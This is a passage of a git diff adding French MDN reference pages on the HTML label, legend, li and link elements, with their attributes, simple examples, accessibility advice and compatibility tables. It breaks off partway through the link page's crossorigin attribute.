+ <li>Vous pouvez cliquer sur le libellé pour passer le focus voire activer le champ. De cette façon, on dispose d'une meilleure ergonomie car la surface d'utilisation du champ est agrandie, ce qui s'avère utile sur les petits appareils comme les téléphones portables.</li>
+</ul>
+
+<p>Pour associer un élément <code>&lt;label&gt;</code> avec un élément <code>&lt;input&gt;</code>, il faut fournir un identifiant à l'élément <code>&lt;input&gt;</code> sous la forme d'un attribut <code>id</code>. Ensuite, on peut renseigner l'attribut <code>for</code> de l'élément <code>&lt;label&gt;</code> avec la valeur de cet identifiant.</p>
+
+<p>On peut également créer un lien implicite en imbriquant l'élément <code>&lt;input&gt;</code> directement au sein d'un élément <code>&lt;label&gt;</code> . Dans ce cas, les attributs <code>for</code> et <code>id</code> ne sont plus nécessaires.</p>
+
+<pre class="brush: html">&lt;label&gt;Aimez-vous les petits pois ?
+  &lt;input type="checkbox" name="petits_pois"&gt;
+&lt;/label&gt;
+</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>L'identifiant (la valeur de l'attribut {{htmlattrxref("id")}}) de l'élément de formulaire associé, appartenant au même document que l'élément label. Le premier élément du document dont l'identifiant correspond est alors le contrôle étiqueté par l'élément.
+ <div class="note"><strong>Note :</strong> Un élément label peut simultanément avoir un attribut <code>for</code> et contenir un élément de contrôle tant que l'attribut <code>for</code> pointe vers l'élément contenu.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>L'élément de formulaire auquel l'élément label est associé (son formulaire propriétaire). La valeur de cet attribut doit être l'identifiant d'un élément {{HTMLElement("form")}} contenu au sein du même document. Si l'attribut n'est pas renseigné, cet élément &lt;label&gt; doit être le descendant d'un élément {{HTMLElement("form")}}. Cet attribut permet de placer des éléments label dans le document sans qu'ils soient nécessairement imbriqués dans un formulaire.
+ <div class="note"><strong>Note : </strong>La spécification HTML a été mise à jour le 28 avril 2016 afin de déprécier l'attribut {{htmlattrxref("form")}}. Celui-ci est toujours disponible dans les scripts mais sa définition a changé, il renvoie désormais le contrôle associé au formulaire ou <code>null</code> s'il n'y a pas de contrôle associé (autrement dit si {{domxref("HTMLLabelElement.control")}} vaut <code>null</code>).</div>
+ </dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<ul>
+ <li>Un élément <code>&lt;label&gt;</code> peut être associé à un contrôle en plaçant l'élément du contrôle dans l'élément <code>&lt;label&gt;</code> ou en utilisant l'attribut {{htmlattrxref("for")}}. Un tel contrôle sera appelé le contrôle <em>étiqueté</em> par l'élément <code>&lt;label&gt;</code>. Un contrôle peut être associé à plusieurs <code>&lt;label&gt;</code>.</li>
+ <li>Les étiquettes ne sont pas directement associées aux formulaires. Elles le sont indirectement via le contrôle auquel elles sont rattachées.</li>
+ <li>Lorsqu'on clique ou touche un élément <code>&lt;label&gt;</code> et que celui-ci est associé à un contrôle d'un formulaire, l'évènement <code>click</code> est également déclenché pour le contrôle.</li>
+</ul>
+
+<h2 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h2>
+
+<p>Il n'existe pas de spécificité relative à la mise en forme des éléments <code>&lt;label&gt;</code>. Par défaut, ce sont des éléments <em>inline</em> et ils peuvent être mis en forme de la même façon que {{HTMLElement("span")}} et {{HTMLElement("a")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;label&gt;Cliquez ici&lt;input type="text" id="Utilisateur" name="Nom" /&gt;&lt;/label&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', '200', '50', '')}}</p>
+
+<h3 id="Utiliser_l’attribut_for">Utiliser l’attribut <code>for</code></h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;label for="Utilisateur"&gt;Cliquez ici&lt;/label&gt;
+&lt;input type="text" id="Utilisateur" name="Nom" /&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_l’attribut_for", '200', '50', '')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Contenu_interactif">Contenu interactif</h3>
+
+<p>Il ne faut pas placer d'éléments interactifs (tels que les ancres ({{HTMLElement("a")}}) ou les boutons ({{HTMLElement("button")}})) dans un élément <code>label</code> sinon il sera difficile d'activer le contrôle associé à ce libellé.</p>
+
+<h4 id="Mauvaise_pratique">Mauvaise pratique</h4>
+
+<pre class="brush: html example-bad">&lt;label for="tac"&gt;
+  &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+  J'accepte &lt;a href="terms-and-conditions.html"&gt;les conditions d'utilisation&lt;/a&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="Bonne_pratique">Bonne pratique</h4>
+
+<pre class="brush: html example-good">&lt;label for="tac"&gt;
+  &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+  J'accepte les conditions d'utilisation
+&lt;/label&gt;
+&lt;p&gt;
+  &lt;a href="terms-and-conditions.html"&gt;Lire les conditions d'utilisation&lt;/a&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="Titres">Titres</h3>
+
+<p>Placer des <a href="/fr/docs/Web/HTML/Element/Heading_Elements">éléments de titres</a> à l'intérieur d'un élément <code>label</code> causera des interférences avec de nombreux outils d'assistance car les titres sont généralement utilisés comme <a href="/en-US/docs/Web/HTML/Element/Heading_Elements#Navigation">une aide à la navigation</a>. Si le texte du libellé doit être ajusté visuellement, on utilisera une mise en forme via CSS.</p>
+
+<p>S'il faut associer un titre à un formulaire ou à une section d'un formulaire, on utilisera l'élément {{HTMLElement("legend")}} au sein d'un élément {{HTMLElement("fieldset")}}.</p>
+
+<h4 id="Mauvaise_pratique_2">Mauvaise pratique</h4>
+
+<pre class="brush: html example-bad">&lt;label for="votre-nom"&gt;
+  &lt;h3&gt;Votre nom&lt;/h3&gt;
+  &lt;input id="votre-nom" name="votre-nom" type="text"&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="Bonne_pratique_2">Bonne pratique</h4>
+
+<pre class="brush: html example-good">&lt;label class="label-grand" for="votre-nom"&gt;
+  Votre nom
+  &lt;input id="votre-nom" name="votre-nom" type="text"&gt;
+&lt;/label&gt; </pre>
+
+<h3 id="Boutons">Boutons</h3>
+
+<p>Un élément {{HTMLElement("input")}} avec <code>type="button"</code> et un attribut <code>value</code> valide ne nécessite pas l'ajout d'un libellé. Rajouter un libellé inutile pourra créer des interférences avec les outils d'assistance. Il en va de même pour l'élément {{HTMLElement("button")}}.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_associ.C3.A9_aux_formulaires">contenu associé aux formulaires</a> (listed, submittable, resettable), <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>, contenu interactif.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> sans éléments <code>label</code> descendants. À l'exception du contrôle lié à la légende, pas d'autres éléments pouvant contenir un élément <code>label</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLLabelElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.9.1', '&lt;label&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.label")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/legend/index.html b/files/fr/web/html/element/legend/index.html
new file mode 100644
index 0000000000..15cbc6297d
--- /dev/null
+++ b/files/fr/web/html/element/legend/index.html
@@ -0,0 +1,114 @@
+---
+title: <legend>
+slug: Web/HTML/Element/Legend
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/legend
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong>&lt;legend&gt; </strong>représente une légende pour le contenu de son élément parent {{HTMLElement("fieldset")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/legend.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément contient uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="" method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Un champ pour le choix de la radio&lt;/legend&gt;
+    &lt;input type="radio" name="radio" id="radio"&gt;
+    &lt;label for="radio"&gt;Cliquez ici&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page sur {{HTMLElement("form")}} pour d'autres exemples qui utilisent <code>&lt;legend&gt;</code>.</p>
+</div>
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Aucune, la balise ouvrante et la balise fermante doivent être présentes.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("fieldset")}} dont le premier élément fils est cet élément <code>&lt;legend&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLLegendElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition de l'élément <code>legend</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/forms.html#h-17.10", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.legend")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("option")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Form_Role">ARIA : le rôle <code>form</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/li/index.html b/files/fr/web/html/element/li/index.html
new file mode 100644
index 0000000000..913757a881
--- /dev/null
+++ b/files/fr/web/html/element/li/index.html
@@ -0,0 +1,173 @@
+---
+title: <li>
+slug: Web/HTML/Element/li
+tags:
+  - Contenu de groupage HTML
+  - Element
+  - HTML
+  - Reference
+translation_of: Web/HTML/Element/li
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;li&gt;</code></strong> est utilisé pour représenter un élément dans une liste. Il doit être contenu dans un élément parent : une liste ordonnée ({{HTMLElement("ol")}}), une liste non ordonnée ({{HTMLElement("ul")}}) ou un menu ({{HTMLElement("menu")}}). Dans les menus et les listes non ordonnées, les éléments de liste sont habituellement affichés en utilisant des puces. Dans les listes ordonnées, ils sont habituellement affichés avec compteur croissant à gauche, tel qu'un nombre ou une lettre.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cette valeur entière indique la valeur ordinale en cours de l'élément de liste tel que défini par l'élément {{HTMLElement("ol")}}. La seule valeur autorisée pour cet attribut est un nombre, même si la liste est affichée avec des chiffres romains ou des lettres. Les éléments de la liste qui suivent celui-ci continueront la numérotation à partir de la valeur indiquée. L'attribut <strong>value</strong> n'a pas de signification pour les listes non ordonnées ({{HTMLElement("ul")}}) ou pour les menus ({{HTMLElement("menu")}}).
+ <div class="note"><strong>Note</strong> : Cet attribut a été déprécié en HTML4 mais a été réintroduit en HTML5.</div>
+
+ <div class="note">Note : Avant {{Gecko("9.0")}}, des valeurs négatives étaient incorrectement converties en 0. A partir de {{Gecko("9.0")}}, toutes les valeurs entières ont été correctement analysées.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("type")}} {{Deprecated_inline}}</dt>
+ <dd>Cet attribut de caractère indique le type de numérotation utilisé pour la liste :
+ <ul>
+  <li><code>a</code> : lettres minuscules</li>
+  <li><code>A</code> : lettres majuscules</li>
+  <li><code>i</code> : chiffres romains en minuscules</li>
+  <li><code>I</code> : chiffres romains en majuscules</li>
+  <li><code>1</code> : nombres</li>
+ </ul>
+ Ce type surcharge celui utilisé par son élément parent {{HTMLElement("ol")}} si présent.
+
+ <div class="note"><strong>Note d'utilisation :</strong> Cet attribut a été déprécié : utilisez la propriété CSS {{cssxref("list-style-type")}} à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Liste_ordonnée">Liste ordonnée</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;ol&gt;
+    &lt;li&gt;premier article&lt;/li&gt;
+    &lt;li&gt;second article&lt;/li&gt;
+    &lt;li&gt;troisième article&lt;/li&gt;
+&lt;/ol&gt;</code></pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liste_ordonnée")}}</p>
+
+<h3 id="Liste_ordonnée_démarrant_avec_un_indice_donné">Liste ordonnée démarrant avec un indice donné</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre><code>&lt;ol type="I"&gt;
+    &lt;li value="3"&gt;troisième article&lt;/li&gt;
+    &lt;li&gt;quatrième article&lt;/li&gt;
+    &lt;li&gt;cinquième article&lt;/li&gt;
+&lt;/ol&gt;</code></pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liste_ordonnée_démarrant_avec_un_indice_donné")}}</p>
+
+<h3 id="Liste_non_ordonnée">Liste non ordonnée</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre><code>&lt;ul&gt;
+    &lt;li&gt;premier article&lt;/li&gt;
+    &lt;li&gt;second article&lt;/li&gt;
+    &lt;li&gt;troisième article&lt;/li&gt;
+&lt;/ul&gt;</code></pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Liste_non_ordonnée")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour d'autres exemples plus détaillés, voir les pages {{HTMLElement("ol")}} et {{HTMLElement("ul")}}.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de fin peut être absente si l'élément est immédiatement suivi par un autre élément {{HTMLElement("li")}} ou s'il n'y a plus d'autre contenu dans son élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("ul")}}, {{HTMLElement("ol")}} ou {{HTMLElement("menu")}}. Bien que ce ne soit pas un usage conforme, l'élément obsolète {{HTMLElement("dir")}} peut également être un parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("presentation")}}, {{ARIARole("radio")}}, {{ARIARole("separator")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLLIElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>L'attribut <code>type</code> a été déprécié.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("html.elements.li")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments liés aux listes : {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, {{HTMLElement("menu")}} et {{HTMLElement("dir")}} (obsolète) ;</li>
+ <li>Les propriétés CSS qui peuvent être particulièrement utiles pour mettre en forme l'élément <code>&lt;li&gt;</code> :
+  <ul>
+   <li>la propriété {{cssxref("list-style")}}, pour choisir la manière d'afficher l'ordinal,</li>
+   <li>les <a href="/fr/docs/Web/CSS/Compteurs_CSS">compteurs CSS</a>, pour gérer des listes imbriquées complexes,</li>
+   <li>la propriété {{cssxref("margin")}}, pour contrôler l'indentation de l'élément de liste.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/link/index.html b/files/fr/web/html/element/link/index.html
new file mode 100644
index 0000000000..dc048179b8
--- /dev/null
+++ b/files/fr/web/html/element/link/index.html
@@ -0,0 +1,306 @@
+---
+title: '<link> : l''élément de lien vers des ressources externes'
+slug: Web/HTML/Element/link
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/link
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML<strong> <code>&lt;link&gt;</code></strong> définit la relation entre le document courant et une ressource externe. Cet élément peut être utilisé pour définir un lien vers <a href="/fr/docs/Glossaire/CSS">une feuille de style</a>, vers les icônes utilisées en barre de titre ou comme icône d'application sur les appareils mobiles.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div>
+
+
+
+<p>Pour lier une feuille de style externe, on inclut un élément <code>&lt;link&gt;</code> de la forme suivante à l'intérieur de l'élément {{htmlelement("head")}} :</p>
+
+<pre class="brush: html notranslate">&lt;link href="main.css" rel="stylesheet"&gt;</pre>
+
+<p>Dans cet exemple, on indique le chemin vers la feuille de style grâce à l'attribut <code>href</code>, l'attribut  <code>rel</code> possède une valeur <code>stylesheet</code> qui indique que c'est une feuille de style. <code>rel</code> signifie <em>relationship</em> qui correspond donc à la relation entre la ressource et le document courant. Il existe de <a href="/fr/docs/Web/HTML/Types_de_lien">nombreux types de liens possibles</a>.</p>
+
+<p>Certains types sont assez fréquents. Ainsi, pour l'icône présentant le site dans l'onglet, on trouvera :</p>
+
+<pre class="brush: html notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
+
+<p>Il existe différents types de relations pour préciser les icônes et qui permettent notamment de cibler certaines plateformes mobiles :</p>
+
+<pre class="brush: html notranslate">&lt;link rel="apple-touch-icon-precomposed" sizes="114x114"
+      href="apple-icon-114.png" type="image/png"&gt;</pre>
+
+<p>L'attribut <code>sizes</code> indique la taille de l'icône tandis que l'attribut <code>type</code> contient le type MIME de la ressource qui est liée. Ces attributs permettent alors au navigateur de sélectionner la ressource la plus adéquate.</p>
+
+<p>On peut également fournir l'attribut <code>media</code> afin d'utiliser telle ou telle ressource lorsqu'une requête média est vérifiée. Ainsi, on pourra utiliser ce qui suit afin d'avoir une feuille de style utilisée à l'impression et une autre dédiée au mobile :</p>
+
+<pre class="brush: html notranslate">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"&gt;</pre>
+
+<p>Certaines fonctionnalités relatives à la sécurité sont également disponibles avec certains attributs de <code>&lt;link&gt;</code>. Dans cet exemple :</p>
+
+<pre class="brush: html notranslate">&lt;link rel="preload" href="myFont.woff2" as="font"
+      type="font/woff2" crossorigin="anonymous"&gt;</pre>
+
+<p>L'attribut <code>rel</code> vaut <code>preload</code> et indique que le navigateur doit précharger la ressource (voir <a href="/fr/docs/Web/HTML/Précharger_du_contenu">Le préchargement du contenu avec <code>rel="preload"</code></a> pour plus de détails), l'attribut <code>as</code> indique la classe de contenu qui est récupéré et l'attribut <code>crossorigin</code> indique si la ressource doit être récupérée avec une requête CORS.</p>
+
+<p>Quelques notes d'utilisation :</p>
+
+<ul>
+ <li>Un élément <code>&lt;link&gt;</code> element peut être placé dans un élément {{HTMLElement("head")}} ou {{htmlelement("body")}} selon la valeur de la relation. C'est cependant une bonne pratique que de placer l'ensemble des éléments <code>&lt;link&gt;</code> dans l'élément <code>&lt;head&gt;</code>.</li>
+ <li>Lorsque <code>&lt;link&gt;</code> est utilisé pour la <em>favicon</em> d'un site et que celui-ci utilise les règles CSP afin d'améliorer la sécurité, les règles s'appliquent également aux icônes. Aussi, si la <em>favicon</em> ne charge pas, veuillez vérifier que la directive <a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code></a> de l'en-tête {{HTTPHeader("Content-Security-Policy")}} ne bloque pas le chargement de l'image.</li>
+ <li>Les spécifications HTML et XHTML définissent des gestionnaires d'évènements pour l'élément <code>&lt;link&gt;</code> mais leur utilisation reste incertaine.</li>
+ <li>Pour XHTML 1.0, les éléments vides tels que <code>&lt;link&gt;</code> devaient utiliser une barre oblique de fin : <code>&lt;link /&gt;</code>.</li>
+ <li>WebTV prend en charge la valeur <code>next</code> pour l'attribut <code>rel</code> afin de précharger la page suivante pour une série de documents.</li>
+</ul>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("as")}}</dt>
+ <dd>Cet attribut est uniquement utilisé lorsque <code>rel="preload"</code> ou <code>rel="prefetch"</code> est utilisé pour l'élément <code>&lt;link&gt;</code>. L'attribut indique le type de contenu chargé par l'élément <code>&lt;link&gt;</code> et permet au navigateur de déterminer la priorité du contenu, d'identifier les utilisations de la ressource plus bas dans le document, d'appliquer <a href="/fr/docs/HTTP/CSP">la bonne politique de sécurité des contenus</a> et de définir le bon en-tête de requête {{httpheader("Accept")}}.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Cet attribut à valeur contrainte indique si le CORS doit être utilisé lorsque la ressource liée est récupérée. <a href="/fr/docs/Web/HTML/Images_avec_le_contrôle_d_accès_HTTP">Les images avec CORS activé</a> peuvent être réutilisée dans un élément {{HTMLElement("canvas")}} sans qu'il soit corrompu. Les valeurs autorisées sont :
+ <ul>
+  <li><code>"anonymous"</code> : une requête <em>cross-origine</em> est effectuée (avec l'en-tête HTTP <code>Origin</code>). Mais aucune information d'identification n'est envoyée (aucun cookie, aucun certificat X.509, aucune authentification simple via HTTP). Si le serveur ne fournit pas d'informations au site d'origine (c'est-à-dire sans utiliser l'en-tête HTTP {{httpheader("Access-Control-Allow-Origin")}}, l'image sera <em>corrompue</em> et son utilisation sera restreinte.</li>
+  <li><code>"use-credentials"</code> : une requête <em>cross-origine</em> est effectuée (avec l'en-tête HTTP <code>Origin</code>) avec des informations d'authentification qui sont envoyées (un cookie, un certification et une authentification HTTP simple sont envoyés). Si le serveur ne fournit pas d'information d'authentification au site d'origine via l'en-tête {{httpheader("Access-Control-Allow-Credentials")}}, l'image sera corrompue et son utilisation sera restreinte.</li>
+ </ul>
